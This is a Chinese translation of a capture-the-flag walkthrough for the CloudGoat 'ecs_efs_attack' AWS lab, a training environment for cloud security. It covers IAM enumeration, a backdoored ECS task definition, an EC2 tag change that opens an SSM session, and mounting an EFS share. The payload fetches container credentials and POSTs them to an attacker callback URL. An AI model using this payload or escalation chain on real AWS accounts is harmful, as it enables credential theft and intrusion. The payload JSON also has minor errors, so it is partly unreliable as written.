模拟 AWS 攻击简介
Cloudgoat 是一种工具,可以构建易受攻击的 Capture-the-Flag 风格的 AWS 环境,以帮助安全评估人员了解 AWS 安全性和 AWS 漏洞。本演练将涵盖 CloudGoat 攻击模拟“ecs_efs_attack”,你可在其中学习通过 AWS Elastic Container Service 进行调整并获得对 AWS Elastic File Share 的访问权限。
这一挑战的灵感来自于在之前的红队和云渗透测试活动中发现的新研究和 AWS 配置。
如果这是您的第一个 CloudGoat 挑战,请先尝试完成之前的挑战——这个挑战更高级。
Cloudgoat ECS_EFS AWS攻击路径图
设置 CloudGoat
首先,我们需要 CloudGoat。安装说明包含在我们的Github快速入门指南中。或者,我们可以使用以下命令来安装该工具。
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
pip3 install -r cloudgoat/core/python/requirements.txt
git clone https://github.com/RhinoSecurityLabs/pacu
sh pacu/install.sh
构建 AWS 攻击场景
安装 Cloudgoat 及其依赖项后,我们将配置本地 AWS CLI 凭证供 CloudGoat 使用。为此,我们首先要将我们的 IP 地址列入白名单,以确保我们不会不必要地暴露资源。
然后,使用下面的代码,我们使用 CloudGoat 构建“ecs_efs_attack”场景。一旦完成,我们就进入第 1 阶段——枚举。
aws configure --profile cloudgoat
python3 cloudgoat.py config whitelist --auto
python3 cloudgoat.py create ecs_efs_attack --profile cloudgoat.
# 脚本完成后,切换到挑战目录# 脚本完成后,切换到挑战目录
cd ecs_efs_attack-<CG_ID>
提示:如果您想在没有帮助的情况下完成本模块,请停止阅读此处——访问CloudGoat并尝试一下!
第 1 阶段:IAM 特权枚举
首先使用 SSH 登录到最初的“ruse”EC2,然后配置 AWS CLI 以使用实例配置文件。为此,请在出现提示时将访问密钥和密码留空。配置完成后,我们可以列出我们的 IAM 权限。
现在我们看到两个策略:一个 AWS 托管策略和另一个用户创建的“cg-ec2-ruse-role-policy-cgid”。这个自定义策略引起了我们的兴趣,我们可以尝试使用 IAM 查看“cg-ec2-ruse-role-policy-cgid”。
附加到“Ruse”EC2 实例的 IAM 策略
查看“cg-ec2-ruse-role-policy-cgid”策略,可以枚举多种权限。我们拥有对 ECS、IAM、EC2 的读取权限和一些写入权限。
一些引起我们注意的权限是“ecs:RegisterTaskDefinition”、“ecs:UpdateService”和“ec2:createTags”,因为它们提供了修改环境的方法。从这一点来看,我们现在有几个方向可以走,但是,最好的做法是在进入任何兔子洞之前进行全面枚举。
aws configure
aws sts get-caller-identity # 获取ec2角色名称
aws iam list-attached-role-policies --role-name {role_name}
aws iam get-policy-version --policy-arn {policy_arn} --version-id V1
EC2枚举
使用我们的读取权限,我们列出了环境中的实例。此命令的输出可能非常庞大,因此请将其保存到文件中以进行搜索或使用 aws cli 过滤器来帮助缩小信息范围。梳理输出后,我们发现有两个名为“admin”、“cg-ruse-ec2”和“eg-admin-ec2”的ec2实例。仔细观察每个实例的配置,我们注意到它们在我们可以访问的 EC2 上都有标签“SsmStartSession”。该标签设置为 true,在 admin ec2 上设置为 false。我们不确定此标签的用途,因此我们会做笔记以供返回。
aws ec2 describe-instances
云服务器枚举
现在我们继续下一个服务,ECS。使用 ECS 读取权限,我们发现有一个可用的 ECS 集群。
ECS集群及其正在运行的服务
进一步枚举显示有一个正在运行的服务“cg-webapp-cgid”。我们使用“describe-services”列出服务定义并查看 JSON 描述。由此,我们使用任务定义“webapp:97”确定了一个正在运行的容器。回顾我们附加的 EC2 策略,我们对 ECS 任务定义的写入访问权限有限。到目前为止,这看起来是我们最有希望的攻击路径。
如果您不熟悉 ECS,以下部分将提供有关 ECS 如何运行的一些背景信息。
aws ec2 describe-instances # 查看ec2s
aws ecs list-clusters
aws ecs list-services --cluster {cluster_name} #列出集群中的服务
aws ecs describe-services --cluster {cluster_name} --services webapp
第 2 阶段:ECS 提权
Elastic Container Services (ECS) 是一种实现容器编排的 AWS 服务。ECS 包含三个主要部分:集群、服务和任务。Cluster 是 ECS 中最高级别的抽象;它只是一组任务或服务。服务是一个长期运行的任务,可以由一个或多个容器组成。任务是由任务定义定义的运行容器。此外,还有两种任务部署类型:EC2 和 Fargate。将任务部署到 EC2 需要我们设置实例,而 Fargate 允许我们在没有专用实例的情况下进行部署。在这个挑战中,我们将使用 Fargate 部署。
这显示了一项使用 Fargate 将容器部署到 ECS 集群的服务
准备后门
现在我们对ECS有了基本的了解,我们来反思一下我们的枚举。我们知道有一个部署的服务包含一个使用任务定义“webapp:97”的任务。使用我们的 ECS 权限,我们可以修改此任务定义,然后更新我们的服务以告诉它使用最新版本。
要在任务定义中创建后门,我们首先需要下载当前任务定义并对其进行修改。正是从这一步,我们收集了创建后门所需的信息。
重要的是要注意下载的格式与进行修改的格式不同。要获得正确的格式,我们必须使用 AWS CLI 生成一个 JSON 模板,并使用以前版本的参数填写它。
下面是一个可以复制的payload。
{
"containerDefinitions": [
{
"name": "webapp",
"name": "webapp",
"image": "python:latest",
"cpu": 128,
"memory": 128,
"memoryReservation": 64,
"portMappings": [
{ "containerPort": 80, "hostPort": 80, "protocol": "tcp" }
],
"essential": true,
"entryPoint": ["sh", "-c"],
"command": [
"/bin/sh -c \"curl 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI > data.json && curl -X POST -d @data.json {{CALLBACK URL}} \" "
],
"environment": [],
"mountPoints": [],
"volumesFrom": []
}
],
"family": "webapp",
"taskRoleArn": "ECS_ROLE_ARN",
"executionRoleArn": "ECS_ROLE_ARN"
"networkMode": "awsvpc",
"volumes": [],
"placementConstraints": [],
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512"
}
启动 python 容器和 POST 凭据到回调 url 的有效负载
关于此有效负载需要注意的重要事项——在顶部,我已将容器映像更改为“python:latest”。这样做是为了确保容器将安装 cURL。
接下来也是最重要的部分是“命令”值;这是我们插入payload的地方。在这种情况下,我们为凭据调用容器元数据 API,并将数据发回我们自己的 URL——为此尝试使用 Burp Collaborator 或 Ngrok。
从以前的任务版本复制 taskRoleArn 和 executionRoleArn。
最后,我们注册新的任务定义,这将创建一个名为“webapp:99”的新修订版。
aws describe-task-definition --task-definition webapp:1 > taskdef.json
aws register-task-definition --generate-cli-skeleton > backdoor.json
下载之前的任务版本并生成新的任务定义模板
发送payload
接下来,我们需要告诉服务使用我们任务定义的最新版本。当服务更新时,它会自动尝试使用最新的任务定义来部署容器。
从下面的屏幕截图中,您可以看到我们的旧版本“webapp:97”继续运行,而 ECS 提供并运行我们新的后门容器“webapp:99”。
需要注意的一个有趣行为是我们的任务定义发布我们的凭据,然后退出。因此,webapp:97 将继续运行,ECS 将不断重新部署“webapp:99”并定期向我们发送凭据。
ECS 提供的恶意任务
现在我们看到我们的后门容器已成功运行我们的payload并将临时凭证发布给我们的合作者。我们现在可以获取这些凭据并使用“cg-ecs-role”。
从容器发送到我们的回调 URL 的凭据
aws register-task-definition --cli-input-json file://backdoor.json
aws ecs update-service --service {service_arn} --cluster {cluster_arn} --task-definition {backdoor_task}
第 3 阶段 - 转向 Admin EC2
利用我们所掌握的这两个角色,我们使用“诡计”EC2 来查看附加到我们从容器收到的凭据的策略。
在策略中,我们发现了一个有趣的基于标签的策略。该策略允许在任何带有标记对“StartSession: true”的 EC2 上使用“ssm:StartSession”。
如果您还记得在第 1 阶段,我们看到 Admin EC2 将 set 标签值设置为 false。对我们来说幸运的是,“诡计”EC2 有权创建标签。
AWS System Manager 和 EC2 操作
在 Google 上快速搜索“StartSession”可将我们链接到AWS System Manager的 AWS 文档。Systems Manager 是一项 AWS 服务,它允许您对聚合 EC2 执行各种管理操作,并启动允许我们通过 SSH 进入托管 EC2 的会话。
在我们的枚举阶段,我们注意到 Admin EC2 的标签值设置为 False。我们还发现我们有权编辑来自“ruse”EC2 的标签。因此,我们连接点并使用我们的“诡计”EC2 修改 Admin EC2 上的标签以满足角色策略。
现在我们可以开始远程会话了。
aws configure --profile ecs
Aws ec2 create-tags --resource {admin_ec2_instance_id} --tags “Key=StartSession, Value=true”
Aws ssm start-session --target {admin_ec2_instance_id} --profile ecs
第 4 阶段:最后一站:扫描端口 2049 (NFS)
在 Admin EC2 上启动远程会话后,我们就接近尾声了。同样,我们使用最初的“诡计”EC2 列出了我们的附加角色。
从这里,我们找到一个权限——“EFS:ClientMount”。阅读 AWS文档,我们发现此权限允许我们挂载 EFS。但是,如果我们不能列出它们,我们如何挂载 EFS?
EFS 是核心的网络文件共享,这意味着我们应该能够在网络上发现它们。EFS 与大多数文件共享一样,需要打开 2049 端口,因此我们可以对其进行端口扫描。
Nmap 已预加载到 Admin EC2 上以扫描子网以查找具有开放端口 2049 的主机。由此,我们发现了一个 IP,即 EFS。
通过 Nmap 扫描发现 EFS
挂载 EFS 共享并拿到flag!
发现 EFS 后,我们可以尝试装载共享。挂载共享后,我们会找到一个 /admin 目录。在目录中,我们找到了 base64 编码的标志。
恭喜您完成了 CloudGoat 挑战!
从 EFS 挂载和查看标志文件
cd /mnt
sudo mkdir efs
sudo mount -t nfs -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport {EFS_IP}:/ efs
总结
本演练演示了复杂的 ecs_efs_attack Cloudgoat 场景。它将新研究与在真实云渗透测试中发现的攻击路径相结合。
该挑战利用不同的 IAM 角色来访问在环境中导航所需的资源和操作。我们首先在容器中设置后门以获得更高的权限,修改实例标签以满足基于标签的策略,在 Admin EC2 上启动远程会话,最后端口扫描我们的子网以查找并安装 EFS 共享。
这一挑战展示了 AWS 漏洞的多样性,并强调了利用多种角色、服务和方法在环境中升级的必要性。
原文链接:https://rhinosecuritylabs.com/cloud-security/cloudgoat-aws-ecs_efs_attack/